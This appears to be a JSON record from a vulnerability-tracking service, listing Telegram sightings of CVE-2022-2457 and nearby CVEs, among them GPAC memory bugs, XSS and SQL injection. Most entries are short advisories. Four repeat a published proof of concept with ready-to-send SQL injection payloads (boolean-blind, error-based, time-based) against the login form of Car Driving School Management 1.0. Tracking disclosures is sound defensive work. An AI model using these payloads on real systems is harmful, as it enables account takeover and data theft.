{"vulnerability": "CVE-2022-2457", "sightings": [{"uuid": "7d471c6e-2268-4c33-b17b-8c2c9889a0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2457", "type": "seen", "source": "https://t.me/cibsecurity/47916", "content": "\u203c CVE-2022-2457 \u203c\n\nA flaw was found in Red Hat Process Automation Manager 7 where an attacker can benefit from a brute force attack against Administration Console as the application does not limit the number of unsuccessful login attempts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-11T00:32:26.000000Z"}, {"uuid": "ecd77011-05e7-4a71-aefa-5a3b8e69ea3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24573", "type": "seen", "source": "https://t.me/cibsecurity/38344", "content": "\u203c CVE-2022-24573 \u203c\n\nA stored cross-site scripting (XSS) vulnerability in the admin interface in Element-IT HTTP Commander 7.0.0 allows unauthenticated users to get admin access by injecting a malicious script in the User-Agent field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-03T07:25:48.000000Z"}, {"uuid": "4a627e75-c8f9-4a7c-bb00-23104a7f4f66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24577", "type": "seen", "source": "https://t.me/cibsecurity/38882", "content": "\u203c CVE-2022-24577 \u203c\n\nGPAC 1.0.1 is affected by a NULL pointer dereference in gf_utf8_wcslen ().\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-14T17:23:41.000000Z"}, {"uuid": "059c7b93-99c1-4f2e-9e46-459f3f4b8e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24575", "type": "seen", "source": "https://t.me/cibsecurity/38877", "content": "\u203c CVE-2022-24575 \u203c\n\nGPAC 1.0.1 is affected by a stack-based buffer overflow through MP4Box.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-14T17:18:33.000000Z"}, {"uuid": "a991e881-dd7b-48b2-abad-719598f15a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24578", "type": "seen", "source": "https://t.me/cibsecurity/38903", "content": "\u203c CVE-2022-24578 \u203c\n\nGPAC 1.0.1 is affected by a heap-based buffer overflow in SFS_AddString () at bifs/script_dec.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-14T21:18:24.000000Z"}, {"uuid": "39eb4cd1-46c7-4bdd-a780-f3910c8feab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24574", "type": "seen", "source": "https://t.me/cibsecurity/38880", "content": "\u203c CVE-2022-24574 \u203c\n\nGPAC 1.0.1 is affected by a NULL pointer dereference in gf_dump_vrml_field.isra ().\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-14T17:18:36.000000Z"}, {"uuid": "f9f6808f-308c-4205-b9dd-c510ab7e9bb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24576", "type": "seen", "source": "https://t.me/cibsecurity/38885", "content": "\u203c CVE-2022-24576 \u203c\n\nGPAC 1.0.1 is affected by Use After Free through MP4Box.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-14T17:23:45.000000Z"}, {"uuid": "6654fc20-3989-4d85-a7b6-15a8aeb1be58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24571", "type": "seen", "source": "https://t.me/cibsecurity/38173", "content": "\u203c CVE-2022-24571 \u203c\n\nCar Driving School Management System v1.0 is affected by SQL injection in the login page. An attacker can use simple SQL login injection payload to get admin access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-28T16:23:15.000000Z"}, {"uuid": "871781a5-7450-4a1a-84d4-1b05de5b12ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24572", "type": "seen", "source": "https://t.me/cibsecurity/38172", "content": "\u203c CVE-2022-24572 \u203c\n\nCar Driving School Management System v1.0 is affected by Cross Site Scripting (XSS) in the User Enrollment Form (Username Field). To exploit this Vulnerability, an admin views the registered user details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-28T16:23:14.000000Z"}, {"uuid": "6638939a-0fcc-4e37-ba66-62be980b66e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24571", "type": "seen", "source": "https://t.me/hacking_Attack/44788", "content": "Exploit Collector\nCar Driving School Management 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nCar Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 93a8b3fb52268fedea1b0ec1f090ea42\n\nDownload\n## Title: Car Driving School Management v1.0 SQLi\n## Author: nu11secur1ty\n## Date: 03.02.2022\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571\n\n## Description:\nThe `username` parameter on Car Driving School Management v1.0 appears\nto be vulnerable to SQL injection attacks.\nA single quote was submitted in the username parameter, and a database\nerror message was returned.\nTwo single quotes were then submitted and the error message disappeared.\nThe attacker can take administrator account control and also of all\naccounts on this system, also the malicious user can download all\ninformation about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT)\nPayload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0\n\nType: error-based\nTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or\nGROUP BY clause (FLOOR)\nPayload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT\nCOUNT(*),CONCAT(0x71786b7671,(SELECT\n(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=DMdqCjGG' AND (SELECT 9290 FROM\n(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)\n\n## Proof and Exploit:\n[href](https://streamable.com/n9r8uk)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:52.969214Z"}, {"uuid": "f4e1309d-3e2a-4214-9d6c-21d40e9f6e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24571", "type": "seen", "source": "https://t.me/hacking_Attack/44788", "content": "Exploit Collector\nCar Driving School Management 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nCar Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 93a8b3fb52268fedea1b0ec1f090ea42\n\nDownload\n## Title: Car Driving School Management v1.0 SQLi\n## Author: nu11secur1ty\n## Date: 03.02.2022\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571\n\n## Description:\nThe `username` parameter on Car Driving School Management v1.0 appears\nto be vulnerable to SQL injection attacks.\nA single quote was submitted in the username parameter, and a database\nerror message was returned.\nTwo single quotes were then submitted and the error message disappeared.\nThe attacker can take administrator account control and also of all\naccounts on this system, also the malicious user can download all\ninformation about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT)\nPayload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0\n\nType: error-based\nTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or\nGROUP BY clause (FLOOR)\nPayload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT\nCOUNT(*),CONCAT(0x71786b7671,(SELECT\n(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=DMdqCjGG' AND (SELECT 9290 FROM\n(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)\n\n## Proof and Exploit:\n[href](https://streamable.com/n9r8uk)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:06.603059Z"}, {"uuid": "f76ee9a8-d052-4987-ac59-92d3bd5936e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24571", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44788", "content": "Exploit Collector\nCar Driving School Management 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nCar Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 93a8b3fb52268fedea1b0ec1f090ea42\n\nDownload\n## Title: Car Driving School Management v1.0 SQLi\n## Author: nu11secur1ty\n## Date: 03.02.2022\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571\n\n## Description:\nThe `username` parameter on Car Driving School Management v1.0 appears\nto be vulnerable to SQL injection attacks.\nA single quote was submitted in the username parameter, and a database\nerror message was returned.\nTwo single quotes were then submitted and the error message disappeared.\nThe attacker can take administrator account control and also of all\naccounts on this system, also the malicious user can download all\ninformation about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT)\nPayload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0\n\nType: error-based\nTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or\nGROUP BY clause (FLOOR)\nPayload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT\nCOUNT(*),CONCAT(0x71786b7671,(SELECT\n(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=DMdqCjGG' AND (SELECT 9290 FROM\n(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)\n\n## Proof and Exploit:\n[href](https://streamable.com/n9r8uk)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T06:00:04.923093Z"}, {"uuid": "54e64462-aa4f-4066-9540-0dfba3d40d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24571", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44788", "content": "Exploit Collector\nCar Driving School Management 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nCar Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 93a8b3fb52268fedea1b0ec1f090ea42\n\nDownload\n## Title: Car Driving School Management v1.0 SQLi\n## Author: nu11secur1ty\n## Date: 03.02.2022\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571\n\n## Description:\nThe `username` parameter on Car Driving School Management v1.0 appears\nto be vulnerable to SQL injection attacks.\nA single quote was submitted in the username parameter, and a database\nerror message was returned.\nTwo single quotes were then submitted and the error message disappeared.\nThe attacker can take administrator account control and also of all\naccounts on this system, also the malicious user can download all\ninformation about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT)\nPayload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0\n\nType: error-based\nTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or\nGROUP BY clause (FLOOR)\nPayload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT\nCOUNT(*),CONCAT(0x71786b7671,(SELECT\n(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=DMdqCjGG' AND (SELECT 9290 FROM\n(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)\n\n## Proof and Exploit:\n[href](https://streamable.com/n9r8uk)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:31.788697Z"}]}